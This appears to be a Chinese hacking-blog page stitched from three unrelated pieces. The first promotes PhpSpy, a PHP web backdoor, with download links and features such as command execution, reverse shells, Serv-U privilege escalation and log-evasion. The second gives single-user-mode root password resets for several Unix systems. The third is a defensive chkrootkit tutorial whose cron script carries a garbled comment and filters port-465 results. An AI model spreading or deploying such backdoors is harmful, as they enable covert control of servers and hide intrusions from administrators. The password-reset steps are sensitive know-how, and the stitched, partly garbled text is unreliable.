Hacker技术

PhpSpy

http://www.liangliang.org.cn/at_tools/phpspy_2008.rar

PhpSpy

项目信息

发布时间:2008-01-07
项目作者:angel
项目类别:WEB后门
工作环境:PHP
项目版本:2008
2008地址:http://www.4ngel.net/project/phpspy_2008.rar
2006地址:http://www.4ngel.net/project/phpspy_2006.rar
2005地址:http://www.4ngel.net/project/phpspy_2005.rar
1.5 下载:http://www.4ngel.net/project/phpspy_v1.5.rar

项目介绍

PhpSpy是一个用PHP语言编写的在线管理程序,同时集成很多和海阳顶端网所类似的功能,也可以说是一个WEB方式的后门,结合现有的攻击手法,本着实用、简洁、小巧的原则,开发了这个程序。由于程序性质问题,公开提供下载的版本不会提供更多的操作。例如MSSQL连接、WIN主机反弹等。

2008功能列表(基于2006)
加强cookie功能。
改成全英文版并根据数据库的编码设置声明相应的页面编码,以确保各编码服务器能正常输出。
加强文件管理功能,增加批量删除文件。增加新的文件属性显示方式和宿主。增加目录改名。增加查看网站根目录和当前目录下的所有可写子目录。在WIN主机下自动探测所有分区以及分区类型。
增加通过MYSQL方式上传下载文件,其中下载文件不需要数据库用户具有FILE权限。即可完整下载。程序自动判断两种方式下载。上传需要具有FILE权限。
加强MYSQL数据库管理功能,增加查询回显并带分页显示,增加插入、修改、删除记录。增加查看表结构和常用信息、删除表功能。并支持多句同时运行。
增加执行PHP代码功能,并附加一些有用的PHP代码。例如Serv-U本地提权利用代码,适用于6.4以及一下版本,以及MYSQL反弹SHELL等。
增强执行命令功能。
简化一些PHP环境变量显示。
大大提高各个操作的效率,尤其是文件管理。加快多文件目录的输出速度。
基本全部改为POST方式提交数据和跳转。大大的增加了隐蔽性。防止管理员查看日志找出端倪。
增加linux主机端口反弹功能。使用PERL和C 双重实现。
……

2006功能列表(基于2005)
用函数生成页面中的表格,体积比不用函数生成的时候减少了7kb,比全功能海阳2006小39kb
去掉了SESSION认证,提高兼容性
增加在WIN服务器上执行命令/程序的操作
增加在WIN服务器上对注册表的操作
增加在线HTTP代理功能
增加直接下载MYSQL备份文件
增加文件名改名
增加了克隆时间和自定义文件时间
2005版登陆要点按钮,这个版本直接回车
删除了几个地方的垃圾多余代码,换更加简练的方式写
修改了他妈的多处细节,更加流氓化

2005功能列表(基于1.5)

完整版(39.1K)
增加选定文件打包下载
增加备份指定数据库
增加显示主机名和IP
增建文件创建时间和最后修改时间的比较
修正几个小BUG
优化部分代码

精简版(20.7K)
删除新建目录功能
删除文件属性修改功能
删除PHP环境变量功能
删除Session的验证方式
增加显示主机名和IP
修正几个小BUG
优化部分代码

1.5功能列表(基于1.0)
支持MySQL语句执行
修正登陆验证的BUG
增加三个执行系统命令的函数
正确识别各个文件的URL
修正下载文件下了多余的HTML代码的BUG
用户可查看自定义PHP配置参数
大幅度优化、修正程序代码,修正若干细节

1.0功能列表
在线新建文件、文件夹,在权限允许的情况下可完全控制文件,具备一般文件管理所具备的功能。
在权限允许的情况下,可下载任何硬盘上存在的文件。
可以很好的修改目录以及文件的权限(不是win那种,是*nix的0XXX那种,win系统下也可以操作)。
比其他的同类程序更好的识别URL,完美解决浏览器某些特殊字符的编码问题(现有的程序,没有一个可以很好识别某些特殊字符的)。
会自动探测被禁用函数而决定某些操作。
会自动探测安全模式的状态而决定某些操作。
安全模式关闭的情况下,可选择用system、passthru两种函数执行系统命令。
没有开发某些多余的操作,精简,实用,体积仅22.3K,仅仅是海阳顶端网ASP木马2004的1/2。
在phpinfo函数被禁用的情况下,可以进入“PHP环境变量”获得很多有用的信息。
可选择是否需要登陆验证,同时可以通过配置选择session和cookie两种方式进行验证。
更多功能请自己挖掘……

Linux各版本的本地root密码破解方法

(一)RedHat/CentOS/Fedora 系统密码破解

1.在grub选项菜单按E进入编辑模式
2.编辑kernel 那行最后加上S (或者Single)
3.按B,启动到single-user mode
4.进入后执行下列命令
# mount -t proc proc /proc
# mount -o remount,rw /
#passwd
#sync
#reboot

(二)Debian linux 系统密码破解

1.在grub选项菜单’Debian GNU/Linux,...(recovery mode)’,按e进入编辑模式
2.编辑kernel那行最后面的 ro single 改成 rw single init=/bin/bash,按b执行重启
3.进入后执行下列命令
root@(none)#mount -a
root@(none)#passwd root
root@(none)#reboot

(三)Freebsd 系统密码破解

1.开机进入引导菜单
2.选择每项(按4)进入单用户模式
3.进入之后输入一列命令
root@#mount -a
root@#fsck -y
root@#passwd(修改密码命令)
root@#root(要破解密码的用户名)
Enter new unix password:
root@#init 6 (重启)

(四)Solaris 系统密码破解

1.在grub选项菜中选择solaris failasfe 项
2.系统提示Do you wish to have it mounted read-write on /a ?[y,n,?] 选择y
3.就进入单用户模式
4.输入下列命令:passwd
root@#init 6 (重启)

(五)NetBsd 系统密码破解

1.开机:当出现提示符号并开始倒数五秒时, 键入以下指令:
> boot -s (进入单用户模式命令)
2.在以下的提示符号中
Enter pathname of shell or RETURN for sh:
按下 Enter。
3.键入以下指令:
# mount -a
# fsck -y
4.使用 passwd 更改 root 的密码。
5.使用 exit 指令进入多人模式。

(六)SUSE 系统密码破解

1.重新启动机器,在出现grub引导界面后,在启动linux的选项里加上init=/bin/bash,通过给内核传递init=/bin/bash参数使得OS在运行login程序之前运行bash,出现命令行。
2.稍等片刻出现(none)#:命令行。
3.这时输入mount -n / -o remount,rw 表示将根文件系统重新mount为可读写,有了读写权限后就可以通过passwd命令修改密码了。
4.这时输入passwd命令就可以重置密码了
5.修改完成后记得用mount -n / -o remount,ro将根文件系统置为原来的状态。

使用chkrootkit工具软件

< 入侵监测系统的构建( chkrootkit ) > (最近更新日:2006/08/24)

前  言

所谓 rootkit ,是一类入侵者经常使用的工具。这类工具通常非常的隐秘、令用户不易察觉,通过这类工具,入侵者建立了一条能够常时入侵系统,或者说对系统进行实时控制的途径。所以,我们用自由软件 chkrootkit 来建立入侵监测系统,来保证对系统是否被安装了 rootkit 进行监测。

chkrootkit 在监测 rootkit 是否被安装的过程中,需要使用到一些操作系统本身的命令。但不排除一种情况,那就是入侵者有针对性的已经将 chkrootkit 使用的系统命令也做修改,使得 chkrootkit 无法监测 rootkit ,从而达到即使系统安装了 chkrootkit 也无法检测出 rootkit 的存在,从而依然对系统有着控制的途径,而达到入侵的目的。那样的话,用 chkrootkit 构建入侵监测系统将失去任何意义。对此,我 们在操作系统刚被安装之后,或者说服务器开放之前,让 chkrootkit 就开始工作。而且,在服务器开放之前,备份 chkrootkit 使用的系统命 令,在一些必要的时候(怀疑系统命令已被修改的情况等等),让 chkrootkit 使用初始备份的系统命令进行工作。

安装 chkrootkit

首先来下载和安装 chkrootkit 工具。

[root@sample ~]# wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz ← 下载chkrootkit

--03:05:31-- ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
=> `chkrootkit.tar.gz'
Resolving ftp.pangeia.com.br... 200.239.53.35
Connecting to ftp.pangeia.com.br|200.239.53.35|:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD /pub/seg/pac ... done.
==> PASV ... done. ==> RETR chkrootkit.tar.gz ... done.
Length: 37,140 (36K) (unauthoritative)
100%[====================================>] 37,140 5.67K/s ETA 00:00
03:05:46 (5.30 KB/s) - `chkrootkit.tar.gz' saved [37140]

[root@sample ~]# tar zxvf chkrootkit.tar.gz  ← 展开被压缩的源代码

[root@sample ~]# cd chkrootkit*  ← 进入chkrootkit源代码的目录

[root@sample chkrootkit-0.46a]# make sense  ← 编译

[root@sample chkrootkit-0.46a]# cd ..  ← 返回上层目录

[root@sample ~]# cp -r chkrootkit-* /usr/local/chkrootkit  ← 复制编译后文件所在的目录到指定位置

[root@sample ~]# rm -rf chkrootkit*  ← 删除遗留的源代码目录及相关文件

测试 chkrootkit

然后测试 chkrootkit 是否能够正常运行。

[root@sample ~]# cd /usr/local/chkrootkit  ← 进入chkrootkit的目录

[root@sample chkrootkit]# ./chkrootkit | grep INFECTED  ← 测试运行chkrootkit
稍等片刻…如果没有显示“INFECTED”字样,而直接出现命令行提示符,说明一切OK!

[root@sample chkrootkit]# cd   ← 回到root用户目录

让 chkrootkit 的监测自动化

用Shell Script编写一段脚本,通过这个脚本让chkrootkit的监测自动化。如有rootkit被发现的时候,发送邮件通知root用户,并且将运行结果保存在/var/log/messages文件中。

[root@sample ~]# vi chkrootkit  ← 建立chkrootkit自动运行脚本

#!/bin/bash
PATH=/usr/bin:/bin
TMPLOG=`mktemp`
# Run the chkrootkit
/usr/local/chkrootkit/chkrootkit > $TMPLOG
# Output the log
cat $TMPLOG | logger -t chkrootkit
# bindshe of SMTPSllHow to do some wrongs
if [ ! -z "$(grep 465 $TMPLOG)" ] && \
[ -z $(/usr/sbin/lsof -i:465|grep bindshell) ]; then
sed -i '/465/d' $TMPLOG
fi
# If the rootkit have been found,mail root
[ ! -z "$(grep INFECTED $TMPLOG)" ] && \
grep INFECTED $TMPLOG | mail -s "chkrootkit report in `hostname`" root
rm -f $TMPLOG

[root@sample ~]# chmod 700 chkrootkit  ← 赋予脚本可被执行的权限

[root@sample ~]# mv chkrootkit /etc/cron.daily/  ← 将脚本移动到每天自动运行的目录中

chkrootkit 相关的系统命令的备份

如前言所述,当chkrootkit使用的系统命令被入侵者更改后,chkrootkit对 rootkit的监测将失效。所以,我们事前将chkrootkit使用的系统命令进行备份,在需要的时候使用备份的原始命令,让chkrootkit对 rootkit进行检测。

[root@sample ~]# mkdir /root/commands/  ← 建立暂时容纳命令备份的目录

[root@sample ~]# cp `which --skip-alias awk cut echo egrep find head id ls netstat ps strings sed uname` /root/commands/  ← (连续输入无换行)备份系统命令到建立好的目录

[root@sample ~]# /usr/local/chkrootkit/chkrootkit -p /root/commands|grep INFECTED  ← 用备份的命令运行chkrootkit

[root@sample ~]# tar cvf /root/commands.tar /root/commands/ ← 将命令打包

[root@sample ~]# gzip /root/commands.tar  ← 将打包的文件压缩
然后将压缩后的commands.tar.gz用SCP软件下载到安全的地方

[root@sample ~]# rm -rf commands*   ← 为安全起见,删除服务器端备份的系统命令及相关文件

如果以后想通过备份的原始系统命令来运行chkrootkit的时候,只需用SCP软件将备份的命令打包压缩文件上传至服务器端已知位置并解压缩,然后运行在chkrootkit的时候指定相应的目录即可。例如,假设已经将备份上传至root用户目录的情况如下:

[root@sample ~]# tar zxvf /root/commands.tar.gz  ← 解开压缩的命令备份

[root@sample ~]# /usr/local/chkrootkit/chkrootkit -p /root/commands|grep INFECTED ← 用备份的命令运行chkrootkit

然后在运行后删除相应遗留文件即可。